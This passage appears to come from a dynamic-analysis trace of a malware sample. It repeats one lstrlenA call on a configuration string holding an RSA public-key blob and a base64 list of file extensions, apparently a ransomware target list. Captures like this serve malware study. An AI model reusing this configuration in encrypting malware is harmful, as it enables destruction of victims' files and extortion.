sIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA 